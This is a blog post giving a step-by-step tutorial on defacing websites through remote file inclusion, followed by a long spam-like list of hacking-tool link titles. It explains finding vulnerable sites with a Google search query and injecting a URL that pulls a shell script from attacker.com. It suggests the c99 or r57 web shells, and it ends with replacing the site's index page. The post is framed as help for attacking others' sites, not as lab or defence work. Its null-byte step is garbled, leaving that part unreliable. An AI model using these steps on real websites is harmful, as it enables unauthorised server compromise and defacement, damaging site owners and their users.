Make 'em

IP

Tuesday 23 January 2024

HOW TO DEFACE A WEBSITE USING REMOTE FILE INCLUSION (RFI)?

HOW TO DEFACE A WEBSITE USING REMOTE FILE INCLUSION (RFI)?

Remote File Inclusion (RFI) is a technique that allows the attacker to upload a malicious code or file on a website or server. The vulnerability exploits the different sort of validation checks in a website and can lead to code execution on server or code execution on the website. This time, I will be writing a simple tutorial on Remote File Inclusion and by the end of the tutorial, I suppose you will know what it is all about and may be able to deploy an attack.
RFI is a common vulnerability. All the website hacking is not exactly about SQL injection. Using RFI you can literally deface the websites, get access to the server and play almost anything with the server. Why it put a red alert to the websites, just because of that you only need to have your common sense and basic knowledge of PHP to execute malicious code. BASH might come handy as most of the servers today are hosted on Linux.

SO, HOW TO HACK A WEBSITE OR SERVER WITH RFI?

First of all, we need to find out an RFI vulnerable website. Let's see how we can find one.
As we know finding a vulnerability is the first step to hack a website or server. So, let's get started and simply go to Google and search for the following query.
inurl: "index.php?page=home"
At the place of home, you can also try some other pages like products, gallery and etc.
If you already a know RFI vulnerable website, then you don't need to find it through Google.
Once we have found it, let's move on to the next step. Let's see we have a following RFI vulnerable website.
http://target.com/index.php?page=home
As you can see, this website pulls documents stored in text format from the server and renders them as web pages. Now we can use PHP include function to pull them out. Let's see how it works.
http://target.com/index.php?page=http://attacker.com/maliciousScript.txt
I have included my malicious code txt URL at the place of home. You can use any shell for malicious scripts like c99, r57 or any other.
Now, if it's a really vulnerable website, then there would be 3 things that can happen.
  1. You might have noticed that the URL consisted of "page=home" had no extension, but I have included an extension in my URL, hence the site may give an error like 'failure to include maliciousScript.txt', this might happen as the site may be automatically adding the .txt extension to the pages stored in server.
  2. In case, it automatically appends something in the lines of .php then we have to use a null byte '' in order to avoid error.
  3. Successful execution.
As we get the successful execution of the code, we're good to go with the shell. Now we'll browse the shell for index.php. And will replace the file with our deface page.
Related posts
  1. Underground Hacker Sites
  2. Hacker Tool Kit
  3. Pentest Tools Download
  4. Hack Tools
  5. Best Hacking Tools 2019
  6. Hacker Tools For Mac
  7. Pentest Tools Find Subdomains
  8. Hacking Tools Software
  9. Hacking Tools For Kali Linux
  10. Nsa Hack Tools
  11. Hacker Tools Windows
  12. Hacking Tools For Beginners
  13. What Is Hacking Tools
  14. Hacking Tools Free Download
  15. Hacking Tools Windows 10
  16. What Are Hacking Tools
  17. Pentest Tools Download
  18. Hack Tools For Pc
  19. Pentest Box Tools Download
  20. Tools Used For Hacking
  21. Hacking Tools For Kali Linux
  22. Hacker Security Tools
  23. Hacker Tools Hardware
  24. Hacking Tools Usb
  25. Pentest Tools For Windows
  26. Pentest Tools Free
  27. Pentest Tools Website Vulnerability
  28. Pentest Tools Android
  29. Best Hacking Tools 2019
  30. Pentest Tools Review
  31. Bluetooth Hacking Tools Kali
  32. Pentest Tools List
  33. Hacker Techniques Tools And Incident Handling
  34. Hacking Tools Pc
  35. Hacking Tools Name
  36. Nsa Hack Tools
  37. Pentest Tools Download
  38. Growth Hacker Tools
  39. Pentest Tools Website Vulnerability
  40. Hacking Tools Mac
  41. Blackhat Hacker Tools
  42. Black Hat Hacker Tools
  43. Nsa Hacker Tools
  44. Hacking Tools
  45. Pentest Tools Nmap
  46. Hack Rom Tools
  47. Best Pentesting Tools 2018
  48. Hacker Tools For Pc
  49. Pentest Tools Github
  50. Pentest Tools For Mac
  51. Hacker Tools Software
  52. Hacker Tools 2019
  53. Pentest Tools Online
  54. Pentest Tools Url Fuzzer
  55. Kik Hack Tools
  56. Hack Tools
  57. Nsa Hack Tools Download
  58. Hacking Tools For Mac
  59. Hackrf Tools
  60. Pentest Tools Website
  61. Hack Tools Pc
  62. Hacks And Tools
  63. Hack Tools For Pc
  64. Pentest Tools
  65. Hack Tools 2019
  66. Hacker Tools List
  67. Hacker Tools 2020
  68. Hacker Tools
  69. Hack Tools Pc
  70. Hack Tools For Pc
  71. Termux Hacking Tools 2019
  72. Pentest Tools For Ubuntu
  73. Hack Tool Apk No Root
  74. Pentest Tools For Android
  75. Github Hacking Tools
  76. Pentest Tools List
  77. Hacking Tools Software
  78. Pentest Tools Alternative
  79. Hacking Tools For Kali Linux
  80. Pentest Tools Find Subdomains
  81. Hack App
  82. Hack Tools Github
  83. Pentest Box Tools Download
  84. Nsa Hack Tools
  85. Easy Hack Tools
  86. Top Pentest Tools
  87. Hack Tools For Mac
  88. Pentest Tools Github
  89. Hacker Tools Free
  90. Hacker Techniques Tools And Incident Handling
  91. Hacker Tools 2019
  92. Hacking Tools For Games
  93. Hacker Tools Mac
  94. New Hacker Tools
  95. World No 1 Hacker Software
  96. Physical Pentest Tools
  97. Easy Hack Tools
  98. Pentest Tools Framework
  99. Pentest Recon Tools
  100. Pentest Tools Open Source
  101. Hacking Tools Software
  102. Hacker Hardware Tools
  103. Hack App
  104. Hacking Tools For Pc
  105. Hack And Tools
  106. Pentest Tools Alternative
  107. Pentest Tools Download
  108. Tools 4 Hack
  109. Pentest Tools Kali Linux
  110. Pentest Tools Subdomain
  111. Pentest Tools Kali Linux
  112. Pentest Tools Nmap
  113. Hack Tools
  114. Hacking Tools Hardware
  115. Hak5 Tools
  116. Hacking Tools For Windows Free Download
  117. Free Pentest Tools For Windows
  118. Hack Tools Mac
  119. Hacker Tools Mac
  120. Hacking Tools For Windows 7
  121. Pentest Box Tools Download
  122. Hacker
  123. Pentest Tools Github
  124. Pentest Tools Review
  125. Pentest Tools Online
  126. Hacking Tools For Kali Linux
  127. Black Hat Hacker Tools
  128. Top Pentest Tools
  129. Hack Tools For Mac
  130. Best Hacking Tools 2020
  131. Nsa Hack Tools Download
  132. Hacker Tools Apk Download
  133. Hacker Tools List
  134. Hacker
  135. Hacker Tools For Pc
  136. Hacker Tools Free

No comments:

Post a Comment